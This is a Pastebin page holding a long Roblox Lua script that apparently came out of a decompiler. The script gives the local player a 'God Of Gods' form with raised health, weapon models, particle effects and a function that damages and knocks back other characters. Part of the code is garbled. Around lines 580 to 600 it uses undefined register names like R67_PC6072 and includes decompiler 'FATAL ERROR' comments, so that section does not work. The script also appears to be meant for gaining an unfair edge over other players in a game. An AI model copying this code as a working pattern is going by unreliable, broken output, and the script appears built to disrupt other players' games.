Advertisement
GojiGaming1337

Untitled

May 16th, 2018
333
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 205.79 KB | None | 0 0
  1. paly = game.Players.LocalPlayer
  2. Player = game:GetService("Players").LocalPlayer
  3. p = game.Players.LocalPlayer
  4. char = paly.Character
  5. vt = Vector3.new
  6. rarm = char["Right Arm"]
  7. hed = char.Head
  8. larm = char["Left Arm"]
  9. rleg = char["Right Leg"]
  10. lleg = char["Left Leg"]
  11. local maincolor = BrickColor.random()
  12. local effolemode = false
  13. local wrathmode = false
  14. local noobmode = false
  15. local randomname = "???"
  16. local randomnamefem = "???"
  17. local randomchanger = 6
  18. if paly.Name == "lilh3" then
  19. randomchanger = 6
  20. end
  21. if randomchanger == 6 then
  22. randomnamefem = "The God Of Gods' True Form"
  23. effolemode = true
  24. maincolor = BrickColor.new("Really red")
  25.  
  26.  
  27. for i,v in pairs(char:children()) do
  28. if v:IsA("Hat") then
  29. v:Destroy()
  30. end
  31. end
  32. for i,v in pairs(char:children()) do
  33. if v:IsA("Accessory") then
  34. v:Destroy()
  35. end
  36. end
  37. for i,v in pairs(char:children()) do
  38. if v:IsA("Hair") then
  39. v:Destroy()
  40. end
  41. end
  42. for i,v in pairs(char:children()) do
  43. if v:IsA("Shirt") then
  44. v:Destroy()
  45. end
  46. end
  47. for i,v in pairs(char:children()) do
  48. if v:IsA("Pants") then
  49. v:Destroy()
  50. end
  51. end
  52.  
  53. local BC = char["Body Colors"]
  54. BC.HeadColor = BrickColor.new("Really black")
  55. BC.LeftArmColor = BrickColor.new("Really black")
  56. BC.LeftLegColor = BrickColor.new("Really black")
  57. BC.RightArmColor = BrickColor.new("Really black")
  58. BC.RightLegColor = BrickColor.new("Really black")
  59. BC.TorsoColor = BrickColor.new("Really black")
  60.  
  61. ypcall(function()
  62. shirt = Instance.new("Shirt", char)
  63. shirt.Name = "Shirt"
  64. pants = Instance.new("Pants", char)
  65. pants.Name = "Pants"
  66. char.Shirt.ShirtTemplate = "rbxassetid://165072697"
  67. char.Pants.PantsTemplate = "rbxassetid://131957434"
  68. end)
  69. Reaper2 = Instance.new("Model")
  70. Reaper2.Parent = Player.Character
  71. Reaper2.Name = "Reaper2"
  72. rh2 = Instance.new("Part")
  73. rh2.Parent = Reaper2
  74. rh2.BrickColor = maincolor
  75. rh2.Locked = true
  76. rh2.CanCollide = false
  77. mesh2 = Instance.new("SpecialMesh")
  78. rh2.formFactor = "Symmetric"
  79. mesh2.MeshType = "FileMesh"
  80. mesh2.MeshId = "http://www.roblox.com/asset/?id=259399186"
  81. mesh2.Parent = rh2
  82. local weld2 = Instance.new("Weld")
  83. weld2.Parent = rh2
  84. rh2.Transparency = 0
  85. weld2.Part0 = rh2
  86. weld2.Part1 = Player.Character.Head
  87. weld2.C0 = CFrame.new(0, -0.2, 0)*CFrame.Angles(0, 0, 0)
  88.  
  89. Reaper3 = Instance.new("Model")
  90. Reaper3.Parent = Player.Character
  91. Reaper3.Name = "Reaper3"
  92. rh3 = Instance.new("Part")
  93. rh3.Parent = Reaper3
  94. rh3.BrickColor = BrickColor.new("Really black")
  95. rh3.Locked = true
  96. rh3.CanCollide = false
  97. mesh3 = Instance.new("SpecialMesh")
  98. rh3.formFactor = "Symmetric"
  99. mesh3.MeshType = "FileMesh"
  100. mesh3.MeshId = "http://www.roblox.com/asset/?id=0"
  101. mesh3.Parent = rh3
  102. local weld3 = Instance.new("Weld")
  103. weld3.Parent = rh3
  104. rh3.Transparency = 0
  105. weld3.Part0 = rh3
  106. weld3.Part1 = Player.Character.Head
  107. weld3.C0 = CFrame.new(0, -1.23, 0)*CFrame.Angles(0, 0, 0)
  108.  
  109. local orbe = Instance.new("Part")
  110. orbe.Parent = char
  111. orbe.Size = Vector3.new(0.2, 0.2, 0.2)
  112. orbe.Archivable = true
  113. orbe.Transparency = 1
  114. orbe.BrickColor = maincolor
  115. orbe.Material = "Neon"
  116. orbe.CanCollide = false
  117. local weld1e = Instance.new("Weld")
  118. weld1e.Parent = rleg
  119. weld1e.Part0 = rleg
  120. weld1e.Part1 = orbe
  121. weld1e.C1 = CFrame.new(0, 1.125, 0)
  122. local pt1e = NumberSequenceKeypoint.new(0,0.85,0)
  123. local pt2e = NumberSequenceKeypoint.new(1,0,0)
  124. local effectoe = Instance.new("ParticleEmitter",orbe)
  125. effectoe.LightEmission = 1
  126. effectoe.Texture = "rbxasset://textures/particles/smoke_main.dds"
  127. effectoe.Color = ColorSequence.new(maincolor.Color)
  128. effectoe.Rate = 10000
  129. effectoe.Lifetime = NumberRange.new(1)
  130. effectoe.Size = NumberSequence.new({pt1e,pt2e})
  131. effectoe.Speed = NumberRange.new(0,0)
  132. effectoe.RotSpeed = NumberRange.new(100,100)
  133.  
  134. local orbze = Instance.new("Part")
  135. orbze.Parent = char
  136. orbze.Size = Vector3.new(0.2, 0.2, 0.2)
  137. orbze.Archivable = true
  138. orbze.Transparency = 1
  139. orbze.BrickColor = maincolor
  140. orbze.Material = "Neon"
  141. orbze.CanCollide = false
  142. local weldz1 = Instance.new("Weld")
  143. weldz1.Parent = lleg
  144. weldz1.Part0 = lleg
  145. weldz1.Part1 = orbze
  146. weldz1.C1 = CFrame.new(0, 1.125, 0)
  147. local effectone = Instance.new("ParticleEmitter",orbze)
  148. effectone.LightEmission = 1
  149. effectone.Texture = "rbxasset://textures/particles/smoke_main.dds"
  150. effectone.Color = ColorSequence.new(maincolor.Color)
  151. effectone.Rate = 10000
  152. effectone.Lifetime = NumberRange.new(1)
  153. effectone.Size = NumberSequence.new({pt1e,pt2e})
  154. effectone.Speed = NumberRange.new(0,0)
  155. effectone.RotSpeed = NumberRange.new(100,100)
  156. end
  157.  
  158. if effolemode == true then
  159. maincolor = BrickColor.new("Really red")
  160. end
  161.  
  162. p = game.Players.LocalPlayer
  163. char = p.Character
  164. torso = char.Torso
  165. neck = char.Torso.Neck
  166. hum = char.Humanoid
  167. hum.MaxHealth = 10000
  168. wait()
  169. hum.Health =hum.MaxHealth
  170.  
  171. CV="Really red"
  172.  
  173. local txt = Instance.new("BillboardGui", char)
  174. txt.Adornee = char .Head
  175. txt.Name = "_status"
  176. txt.Size = UDim2.new(2, 0, 1.2, 0)
  177. txt.StudsOffset = Vector3.new(-9, 8, 0)
  178. local text = Instance.new("TextLabel", txt)
  179. text.Size = UDim2.new(10, 0, 7, 0)
  180. text.FontSize = "Size24"
  181. text.TextScaled = true
  182. text.TextTransparency = 0
  183. text.BackgroundTransparency = 1
  184. text.TextTransparency = 0
  185. text.TextStrokeTransparency = 0
  186. text.Font = "SciFi"
  187. text.TextStrokeColor3 = Color3.new(0,0,0)
  188.  
  189. v=Instance.new("Part")
  190. v.Name = "ColorBrick"
  191. v.Parent=p.Character
  192. v.FormFactor="Symmetric"
  193. v.Anchored=true
  194. v.CanCollide=false
  195. v.BottomSurface="Smooth"
  196. v.TopSurface="Smooth"
  197. v.Size=Vector3.new(10,5,3)
  198. v.Transparency=1
  199. v.CFrame=char.Torso.CFrame
  200. v.BrickColor=BrickColor.new(CV)
  201. v.Transparency=1
  202. text.TextColor3 = BrickColor.new("Really red").Color
  203. v.Shape="Block"
  204. text.Text = "The God Of God's True Form"
  205.  
  206.  
  207. euler = CFrame.fromEulerAnglesXYZ
  208. angles = CFrame.Angles
  209. local player = "LocalPlayer"
  210. local Character = game.Players[player].Character
  211. it = Instance.new
  212. vt = Vector3.new
  213. bc = BrickColor.new
  214. cf = CFrame.new
  215. mr = math.rad
  216. local Weapon = {}
  217. local p = game.Players.LocalPlayer
  218. local char = p.Character
  219. local mouse = p:GetMouse()
  220. local larm = char["Left Arm"]
  221. local rarm = char["Right Arm"]
  222. local lleg = char["Left Leg"]
  223. local rleg = char["Right Leg"]
  224. local hed = char.Head
  225. local torso = char.Torso
  226. local hum = char.Humanoid
  227. local cam = game.Workspace.CurrentCamera
  228. local root = char.HumanoidRootPart
  229. local deb = false
  230. local shot = 0
  231.  
  232. local debris=game:service"Debris"
  233. local l = game:GetService("Lighting")
  234. local rs = game:GetService("RunService").RenderStepped
  235. ptz = {0.8, 0.85, 0.9, 0.95, 1, 1.05, 1.1}
  236. math.randomseed(os.time())
  237. for i,v in pairs (hed:GetChildren()) do
  238. if v:IsA("Sound") then
  239. v:Destroy()
  240. end
  241. end
  242. ---------------------------------------------------- BeastClaw
  243. NoOutline = function(Part)
  244. Part.TopSurface = 10
  245. end
  246. part = function(formfactor, parent, reflectance, transparency, brickcolor, name, size)
  247. local fp = it("Part")
  248. fp.formFactor = formfactor
  249. fp.Parent = parent
  250. fp.Reflectance = reflectance
  251. fp.Transparency = transparency
  252. fp.CanCollide = false
  253. fp.Locked = true
  254. fp.BrickColor = brickcolor
  255. fp.Name = name
  256. fp.Size = size
  257. NoOutline(fp)
  258. fp.Material = "Neon"
  259. fp:BreakJoints()
  260. return fp
  261. end
  262. mesh = function(Mesh, part, meshtype, meshid, offset, scale)
  263. local mesh = it(Mesh)
  264. mesh.Parent = part
  265. if Mesh == "SpecialMesh" then
  266. mesh.MeshType = meshtype
  267. if meshid ~= "nil" then
  268. mesh.MeshId = "http://www.roblox.com/asset/?id=" .. meshid
  269. end
  270. end
  271. mesh.Offset = offset
  272. mesh.Scale = scale
  273. return mesh
  274. end
  275. weld = function(parent, part0, part1, c0)
  276. local weld = it("Motor6D")
  277. weld.Parent = parent
  278. weld.Part0 = part0
  279. weld.Part1 = part1
  280. weld.C0 = c0
  281. return weld
  282. end
  283. gui = function(GuiType, parent, text, backtrans, backcol, pos, size, image)
  284. local gui = it(GuiType)
  285. gui.Parent = parent
  286. gui.BackgroundTransparency = backtrans
  287. gui.BackgroundColor3 = backcol
  288. gui.SizeConstraint = "RelativeXY"
  289. gui.Position = pos
  290. gui.Size = size
  291. if GuiType == "TextLabel" then
  292. gui.Text = text
  293. gui.TextXAlignment = "Center"
  294. gui.TextYAlignment = "Center"
  295. gui.Font = "SourceSans"
  296. gui.FontSize = "Size14"
  297. gui.TextWrapped = false
  298. gui.TextStrokeTransparency = 0
  299. gui.TextColor = TorsoColor
  300. else
  301. if GuiType == "ImageLabel" then
  302. gui.Image = "rbxassetid://" .. image
  303. gui.ImageColor3 = backcol
  304. end
  305. end
  306. return gui
  307. end
  308. local handle = nil
  309. AesthPart = function(model, wldpar, reflec, trans, col, name, neon, meshh, mshtype, mshtxt, x1, y1, z1, ceef)
  310. prt = part(3, model, reflec, trans, BrickColor.new(col), name, vt())
  311. prt.Material = neon
  312. msh = mesh(meshh, prt, mshtype, mshtxt, vt(0, 0, 0), vt(x1, y1, z1))
  313. wld = weld(handle, prt, wldpar, ceef)
  314. v = it("NumberValue", prt)
  315. v.Value = trans
  316. v.Name = "MainTransparency"
  317. return prt, msh, wld
  318. end
  319. AesthPartHand = function(model, wldpar, reflec, trans, col, name, neon, meshh, mshtype, mshtxt, x1, y1, z1, ceef, wldpare)
  320. prt = part(3, model, reflec, trans, BrickColor.new(col), name, vt())
  321. prt.Material = neon
  322. msh = mesh(meshh, prt, mshtype, mshtxt, vt(0, 0, 0), vt(x1, y1, z1))
  323. wld = weld(wldpare, prt, wldpar, ceef)
  324. v = it("NumberValue", prt)
  325. v.Value = trans
  326. v.Name = "MainTransparency"
  327. return prt, msh, wld
  328. end
  329. local modelzorzez = Instance.new("Model")
  330. modelzorzez.Parent = workspace.CurrentCamera
  331. modelzorzez.Name = "none"
  332. local Torso = Character.Torso
  333. local LeftArm = Character["Left Arm"]
  334. local RightArm = Character["Right Arm"]
  335. local LeftLeg = Character["Left Leg"]
  336. local RightLeg = Character["Right Leg"]
  337. local Head = Character.Head
  338. local RootPart = Character.HumanoidRootPart
  339. handle = part(3, modelzorzez, 0, 1, BrickColor.new("Really black"), "Handle", vt())
  340. local handlewld = weld(handle, handle, Torso, euler(0, 0, -0.8) * cf(0, 0, -0.7))
  341.  
  342. -- SAHHHH DUUDEEE
  343.  
  344.  
  345.  
  346.  
  347. -- params : ...
  348.  
  349. wait(0.016666666666667)
  350. script.Archivable = false
  351. Effects = {}
  352. local Player = game.Players.localPlayer
  353. local Character = Player.Character
  354. local Humanoid = Character.Humanoid
  355. local mouse = Player:GetMouse()
  356. local m = Instance.new("Model", Character)
  357. m.Name = "WeaponModel"
  358. local effect = Instance.new("Model", Character)
  359. effect.Name = "effecsfsafzx"
  360. local demon = Instance.new("Model", Character)
  361. demon.Name = "demdemd"
  362. local LeftArm = Character["Left Arm"]
  363. local RightArm = Character["Right Arm"]
  364. local LeftLeg = Character["Left Leg"]
  365. local RightLeg = Character["Right Leg"]
  366. local do2target = nil
  367. local Head = Character.Head
  368. local Torso = Character.Torso
  369. TorsoColor = BrickColor.new("Really red")
  370. z = Instance.new("Sound", Torso)
  371. z.SoundId = "rbxassetid://0" -- Put Music ID Here.
  372. z.Looped = true
  373. z.Pitch = 0
  374. z.Volume = 0
  375. wait(.1)
  376. z:Play()
  377. local cam = game.Workspace.CurrentCamera
  378. local RootPart = Character.HumanoidRootPart
  379. local RootJoint = RootPart.RootJoint
  380. local equipped = false
  381. local attack = false
  382. local Anim = "Idle"
  383. local idle = 0
  384. local attacktype = 1
  385. local Torsovelocity = RootPart.Velocity * Vector3.new(1, 0, 1).magnitude
  386. local velocity = RootPart.Velocity.y
  387. local sine = 0
  388. local change = 1
  389. local mana = 0
  390. local it = Instance.new
  391. vt = Vector3.new
  392. local grabbed = false
  393. local cf = CFrame.new
  394. local mr = math.rad
  395. local angles = CFrame.Angles
  396. local ud = UDim2.new
  397. local c3 = Color3.new
  398. clerp = function(a, b, t)
  399.  
  400. return a:lerp(b, t)
  401. end
  402.  
  403. local RbxUtility = LoadLibrary("RbxUtility")
  404. local Create = RbxUtility.Create
  405. RemoveOutlines = function(part)
  406.  
  407. part.TopSurface = 10
  408. end
  409.  
  410. CreatePart = function(Parent, Material, Reflectance, Transparency, BColor, Name, Size)
  411.  
  412. local Part = Create("Part")({Parent = Parent, Reflectance = Reflectance, Transparency = Transparency, CanCollide = false, Locked = true, BrickColor = BrickColor.new(tostring(BColor)), Name = Name, Size = Size, Material = Material})
  413. RemoveOutlines(Part)
  414. return Part
  415. end
  416.  
  417. CreateMesh = function(Mesh, Part, MeshType, MeshId, OffSet, Scale)
  418.  
  419. local Msh = Create(Mesh)({Parent = Part, Offset = OffSet, Scale = Scale})
  420. if Mesh == "SpecialMesh" then
  421. Msh.MeshType = MeshType
  422. Msh.MeshId = MeshId
  423. end
  424. return Msh
  425. end
  426.  
  427. local co1 = 3
  428. local co2 = 10
  429. local co3 = 15
  430. local co4 = 30
  431. local cooldown1 = 0
  432. local cooldown2 = 0
  433. local cooldown3 = 0
  434. local cooldown4 = 0
  435. local maxEnergy = 100
  436. local Energy = 0
  437. local skill1stam = 1000
  438. local skill2stam = 1000
  439. local skill3stam = 1000
  440. local skill4stam = 1000
  441. local recovermana = 5
  442. local skillcolorscheme = BrickColor.new("Really black").Color
  443. local scrn = Instance.new("ScreenGui", Player.PlayerGui)
  444. makeframe = function(par, trans, pos, size, color)
  445.  
  446. local frame = Instance.new("Frame", par)
  447. frame.BackgroundTransparency = trans
  448. frame.BorderSizePixel = 0
  449. frame.Position = pos
  450. frame.Size = size
  451. frame.BackgroundColor3 = color
  452. return frame
  453. end
  454.  
  455. makelabel = function(par, text)
  456.  
  457. local label = Instance.new("TextLabel", par)
  458. label.BackgroundTransparency = 1
  459. label.Size = UDim2.new(1, 0, 1, 0)
  460. label.Position = UDim2.new(0, 0, 0, 0)
  461. label.TextColor3 = Color3.new(255, 255, 255)
  462. label.TextStrokeTransparency = 0
  463. label.FontSize = Enum.FontSize.Size32
  464. label.Font = Enum.Font.SourceSansLight
  465. label.BorderSizePixel = 0
  466. label.TextScaled = true
  467. label.Text = text
  468. end
  469.  
  470. ArtificialHB = Instance.new("BindableEvent", script)
  471. ArtificialHB.Name = "Heartbeat"
  472. script:WaitForChild("Heartbeat")
  473. frame = 0.033333333333333
  474. tf = 0
  475. allowframeloss = false
  476. tossremainder = false
  477. lastframe = tick()
  478. script.Heartbeat:Fire()
  479. game:GetService("RunService").Heartbeat:connect(function(s, p)
  480.  
  481. tf = tf + s
  482. if frame <= tf then
  483. if allowframeloss then
  484. script.Heartbeat:Fire()
  485. lastframe = tick()
  486. else
  487. for i = 1, math.floor(tf / frame) do
  488. script.Heartbeat:Fire()
  489. end
  490. lastframe = tick()
  491. end
  492. if tossremainder then
  493. tf = 0
  494. else
  495. tf = tf - frame * math.floor(tf / frame)
  496. end
  497. end
  498. end
  499. )
  500. swait = function(num)
  501.  
  502. if num == 0 or num == nil then
  503. ArtificialHB.Event:wait()
  504. else
  505. for i = 0, num do
  506. ArtificialHB.Event:wait()
  507. end
  508. end
  509. end
  510.  
  511. CreateWeld = function(Parent, Part0, Part1, C0, C1)
  512.  
  513. local Weld = Create("Weld")({Parent = Parent, Part0 = Part0, Part1 = Part1, C0 = C0, C1 = C1})
  514. return Weld
  515. end
  516.  
  517. rayCast = function(Position, Direction, Range, Ignore)
  518.  
  519. return game:service("Workspace"):FindPartOnRay(Ray.new(Position, Direction.unit * (Range or 999.999)), Ignore)
  520. end
  521.  
  522. CreateSound = function(id, par, vol, pit)
  523.  
  524. coroutine.resume(coroutine.create(function()
  525.  
  526. local sou = Instance.new("Sound", par or workspace)
  527. sou.Volume = vol
  528. sou.Pitch = pit or 1
  529. sou.SoundId = id
  530. swait()
  531. sou:play()
  532. game:GetService("Debris"):AddItem(sou, 6)
  533. end
  534. ))
  535. end
  536.  
  537. local getclosest = function(obj, distance)
  538.  
  539. local last, lastx = distance + 1, nil
  540. for i,v in pairs(workspace:GetChildren()) do
  541. if v:IsA("Model") and v ~= Character and v:findFirstChild("Humanoid") and v:findFirstChild("Torso") and v:findFirstChild("Humanoid").Health > 0 then
  542. local t = v.Torso
  543. local dist = t.Position - obj.Position.magnitude
  544. if dist <= distance and dist < last then
  545. last = dist
  546. lastx = v
  547. end
  548. end
  549. end
  550. return lastx
  551. end
  552.  
  553. CreatePart2 = function(Parent, Material, Reflectance, Transparency, PartType, BColor, Name, Size)
  554.  
  555. if PartType == "Part" then
  556. local Part = Create("Part")({Parent = Parent, Reflectance = Reflectance, Transparency = Transparency, CanCollide = false, Locked = true, BrickColor = BrickColor.new(tostring(BColor)), Name = Name, Size = Size, Material = Material})
  557. RemoveOutlines(Part)
  558. return Part
  559. else
  560. do
  561. if PartType == "WedgePart" then
  562. local Part = Create("WedgePart")({Parent = Parent, Reflectance = Reflectance, Transparency = Transparency, CanCollide = false, Locked = true, BrickColor = BrickColor.new(tostring(BColor)), Name = Name, Size = Size, Material = Material})
  563. RemoveOutlines(Part)
  564. return Part
  565. end
  566. end
  567. end
  568. end
  569.  
  570. Handle = CreatePart(m, Enum.Material.SmoothPlastic, 0, 1, "Dirt brown", "Handle", Vector3.new(1, 2, 1))
  571. HandleWeld = CreateWeld(m, Character["Right Arm"], Handle, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  572. MotorOne = CreatePart(m, Enum.Material.Neon, 0.30000001192093, 1, TorsoColor, "MotorOne", Vector3.new(0.200000003, 0.200000003, 0.200000003))
  573. MotorOneWeld = CreateWeld(m, Handle, MotorOne, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.165818453, -0.00628910959, -0.978227913, -0.0732169896, -0.996971905, -0.0261989962, -0.542171299, 0.0618378855, -0.83798945, 0.837072074, -0.0471507274, -0.545057178))
  574. MotorTwo = CreatePart(m, Enum.Material.Neon, 0.30000001192093, 1, TorsoColor, "MotorTwo", Vector3.new(0.200000003, 0.200000003, 0.200000003))
  575. MotorTwoWeld = CreateWeld(m, Handle, MotorTwo, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0479729176, -0.503670454, -0.786706924, 0.0261989962, -0.996971905, -0.0732169896, 0.83798945, 0.0618378855, -0.542171299, 0.545057178, -0.0471507274, 0.837072074))
  576. MotorThumb = CreatePart(m, Enum.Material.Neon, 0.30000001192093, 0, TorsoColor, "MotorThumb", Vector3.new(0.200000003, 0.200000003, 0.200000003))
  577. MotorThumbWeld = CreateWeld(m, Handle, MotorThumb, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.436262846, -0.542311668, -0.983556807, -0.068211019, -0.995336354, 0.0682120249, -0.707106829, -7.08211871e-07, -0.707106709, 0.703809023, -0.0964656472, -0.703809083))
  578. MotorThumbTwo = CreatePart(m, Enum.Material.Neon, 0.30000001192093, 0, TorsoColor, "MotorThumbTwo", Vector3.new(0.200000003, 0.200000003, 0.200000003))
  579. MotorThumbTwoWeld = CreateWeld(m, Handle, MotorThumbTwo, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.444597721, 0.423756033, -0.897562623, -0.0682120249, -0.995336354, -0.068211019, 0.707106709, -7.08211871e-07, -0.707106829, 0.703809083, -0.0964656621, 0.703809023))
  580. local CBlade = {}
  581. local CBladeWelds = {}
  582. for _,c in pairs(m:children()) do
  583. if c.className == "Part" then
  584. table.insert(CBlade, R67_PC6072)
  585. end
  586. end
  587. for _,c in pairs(m:children()) do
  588. if c.className == "Weld" then
  589. table.insert(CBladeWelds, R67_PC6072)
  590. print(R66_PC6093)
  591. end
  592. end
  593. -- NIGH-OMNI FATAL ERROR at PC6105: Re-wrote register: R67 in 'AssignReg'
  594.  
  595. -- NIGH-OMNI FATAL ERROR at PC6106: Re-wrote register: R67 in 'AssignReg'
  596.  
  597. --Hit = CreatePart(demon, Enum.Material.Neon, 0, 0, "Really black", R66_PC6093, R67_PC6072(5, 0.200000003, 5))
  598. -- NIGH-OMNI FATAL ERROR at PC6120: Re-wrote register: R66 in 'AssignReg'
  599.  
  600. -- NIGH-OMNI FATAL ERROR at PC6134: Re-wrote register: R66 in 'AssignReg'
  601.  
  602.  
  603. local DBlade = {}
  604. local DBladeWelds = {}
  605. for _,c in pairs(demon:children()) do
  606. if c.className == "Part" then
  607. table.insert(DBlade, c)
  608. end
  609. end
  610. for _,c in pairs(demon:children()) do
  611. if c.className == "Weld" then
  612. table.insert(DBladeWelds, c)
  613. print(c)
  614. end
  615. end
  616. demon.Parent = nil
  617.  
  618. paly = game.Players.LocalPlayer
  619. char = paly.Character
  620. torso = char.Torso
  621. neck = char.Torso.Neck
  622. hum = char.Humanoid
  623. Player = game:GetService("Players").LocalPlayer
  624. local mouse = Player:GetMouse()
  625. Character = Player.Character
  626. tors = Character.Torso
  627. lleg = Character["Left Leg"]
  628. root = Character.HumanoidRootPart
  629. hed = Character.Head
  630. rleg = Character["Right Leg"]
  631. rarm = Character["Right Arm"]
  632. larm = Character["Left Arm"]
  633. local Effects = {}
  634. attack = false
  635. vt = Vector3.new
  636. bc = BrickColor.new
  637. br = BrickColor.random
  638. it = Instance.new
  639. cf = CFrame.new
  640. euler = CFrame.fromEulerAnglesXYZ
  641. angles = CFrame.Angles
  642. matr = math.random
  643. local basiccooldown = math.huge
  644. local ultcooldown = math.huge
  645. local secondcooldown = math.huge
  646. local thirdcooldown = math.huge
  647.  
  648. local boll = Instance.new("Part",game.Lighting)
  649. boll.Transparency = 0.5
  650. boll.Material = "Neon"
  651. boll.BrickColor = tors.BrickColor
  652. boll.Anchored = true
  653. boll.Size = vt(1,1,1)
  654. boll.Shape = "Ball"
  655. boll.CanCollide = false
  656.  
  657. local shur = Instance.new("Part",game.Lighting)
  658. shur.Transparency = 0
  659. shur.Material = "Neon"
  660. shur.BrickColor = tors.BrickColor
  661. shur.Anchored = true
  662. shur.Size = vt(5,0.2,5)
  663. shur.CanCollide = false
  664. local Meshshur = Instance.new("CylinderMesh",shur)
  665.  
  666.  
  667. local boll = Instance.new("Part",game.Lighting)
  668. boll.Transparency = 0.5
  669. boll.Material = "Neon"
  670. boll.BrickColor = bc("Bright red")
  671. boll.Anchored = true
  672. boll.Size = vt(1,1,1)
  673. boll.Shape = "Ball"
  674. boll.CanCollide = false
  675.  
  676. local shur = Instance.new("Part",game.Lighting)
  677. shur.Transparency = 0
  678. shur.Material = "Neon"
  679. shur.BrickColor = bc("Bright red")
  680. shur.Anchored = true
  681. shur.Size = vt(5,0.2,5)
  682. shur.CanCollide = false
  683. local Meshshur = Instance.new("CylinderMesh",shur)
  684.  
  685. Damagefunc=function(hit,minim,maxim,knockback,Type,Property,Delay,KnockbackType,decreaseblock)
  686. if hit.Parent==nil then
  687. return
  688. end
  689. h=hit.Parent:FindFirstChild("Humanoid")
  690. for _,v in pairs(hit.Parent:children()) do
  691. if v:IsA("Humanoid") then
  692. h=v
  693. end
  694. end
  695. if hit.Parent.Parent:FindFirstChild("Torso")~=nil then
  696. h=hit.Parent.Parent:FindFirstChild("Humanoid")
  697. end
  698. if hit.Parent.className=="Hat" then
  699. hit=hit.Parent.Parent:findFirstChild("Head")
  700. end
  701. if h~=nil and hit.Parent.Name~=Character.Name and hit.Parent:FindFirstChild("Torso")~=nil then
  702. if hit.Parent:findFirstChild("DebounceHit")~=nil then if hit.Parent.DebounceHit.Value==true then return end end
  703. --[[ if game.Players:GetPlayerFromCharacter(hit.Parent)~=nil then
  704. return
  705. end]]
  706. -- hs(hit,1.2)
  707. c=Instance.new("ObjectValue")
  708. c.Name="creator"
  709. c.Value=game:service("Players").LocalPlayer
  710. c.Parent=h
  711. game:GetService("Debris"):AddItem(c,.5)
  712. Damage=math.random(minim,maxim)
  713. -- h:TakeDamage(Damage)
  714. blocked=false
  715. block=hit.Parent:findFirstChild("Block")
  716. if block~=nil then
  717. print(block.className)
  718. if block.className=="NumberValue" then
  719. if block.Value>0 then
  720. blocked=true
  721. if decreaseblock==nil then
  722. block.Value=block.Value-1
  723. end
  724. end
  725. end
  726. if block.className=="IntValue" then
  727. if block.Value>0 then
  728. blocked=true
  729. if decreaseblock~=nil then
  730. block.Value=block.Value-1
  731. end
  732. end
  733. end
  734. end
  735. if blocked==false then
  736. -- h:TakeDamage(Damage)
  737. h.Health=h.Health-Damage
  738. showDamage(hit.Parent,Damage,.5,TorsoColor)
  739. else
  740. h.Health=h.Health-(Damage/2)
  741. showDamage(hit.Parent,Damage/2,.5,BrickColor.new("Bright blue"))
  742. end
  743. if Type=="Knockdown" then
  744. hum=hit.Parent.Humanoid
  745. hum.PlatformStand=true
  746. coroutine.resume(coroutine.create(function(HHumanoid)
  747. swait(1)
  748. HHumanoid.PlatformStand=false
  749. end),hum)
  750. local angle=(hit.Position-(Property.Position+Vector3.new(0,0,0))).unit
  751. --hit.CFrame=CFrame.new(hit.Position,Vector3.new(angle.x,hit.Position.y,angle.z))*CFrame.fromEulerAnglesXYZ(math.pi/4,0,0)
  752. local bodvol=Instance.new("BodyVelocity")
  753. bodvol.velocity=angle*knockback
  754. bodvol.P=5000
  755. bodvol.maxForce=Vector3.new(8e+003, 8e+003, 8e+003)
  756. bodvol.Parent=hit
  757. rl=Instance.new("BodyAngularVelocity")
  758. rl.P=3000
  759. rl.maxTorque=Vector3.new(500000,500000,500000)*50000000000000
  760. rl.angularvelocity=Vector3.new(math.random(-10,10),math.random(-10,10),math.random(-10,10))
  761. rl.Parent=hit
  762. game:GetService("Debris"):AddItem(bodvol,.5)
  763. game:GetService("Debris"):AddItem(rl,.5)
  764. elseif Type=="Normal" then
  765. vp=Instance.new("BodyVelocity")
  766. vp.P=500
  767. vp.maxForce=Vector3.new(math.huge,0,math.huge)
  768. -- vp.velocity=Character.Torso.CFrame.lookVector*Knockback
  769. if KnockbackType==1 then
  770. vp.velocity=Property.CFrame.lookVector*knockback+Property.Velocity/1.05
  771. elseif KnockbackType==2 then
  772. vp.velocity=Property.CFrame.lookVector*knockback
  773. end
  774. if knockback>0 then
  775. vp.Parent=hit.Parent.Torso
  776. end
  777. game:GetService("Debris"):AddItem(vp,.5)
  778. elseif Type=="Up" then
  779. local bodyVelocity=Instance.new("BodyVelocity")
  780. bodyVelocity.velocity=vt(0,10,0)
  781. bodyVelocity.P=1000
  782. bodyVelocity.maxForce=Vector3.new(1e+009, 1e+009, 1e+009)
  783. bodyVelocity.Parent=hit
  784. game:GetService("Debris"):AddItem(bodyVelocity,1)
  785. rl=Instance.new("BodyAngularVelocity")
  786. rl.P=3000
  787. rl.maxTorque=Vector3.new(500000,500000,500000)*50000000000000
  788. rl.angularvelocity=Vector3.new(math.random(-20,20),math.random(-20,20),math.random(-20,20))
  789. rl.Parent=hit
  790. game:GetService("Debris"):AddItem(rl,.5)
  791. elseif Type=="Snare" then
  792. bp=Instance.new("BodyPosition")
  793. bp.P=2000
  794. bp.D=100
  795. bp.maxForce=Vector3.new(math.huge,math.huge,math.huge)
  796. bp.position=hit.Parent.Torso.Position
  797. bp.Parent=hit.Parent.Torso
  798. game:GetService("Debris"):AddItem(bp,1)
  799. elseif Type=="Target" then
  800. if Targetting==false then
  801. ZTarget=hit.Parent.Torso
  802. coroutine.resume(coroutine.create(function(Part)
  803. swait(5)
  804. end),ZTarget)
  805. TargHum=ZTarget.Parent:findFirstChild("Humanoid")
  806. targetgui=Instance.new("BillboardGui")
  807. targetgui.Parent=ZTarget
  808. targetgui.Size=UDim2.new(10,100,10,100)
  809. targ=Instance.new("ImageLabel")
  810. targ.Parent=targetgui
  811. targ.BackgroundTransparency=1
  812. targ.Image="rbxassetid://4834067"
  813. targ.Size=UDim2.new(1,0,1,0)
  814. cam.CameraType="Scriptable"
  815. cam.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position)
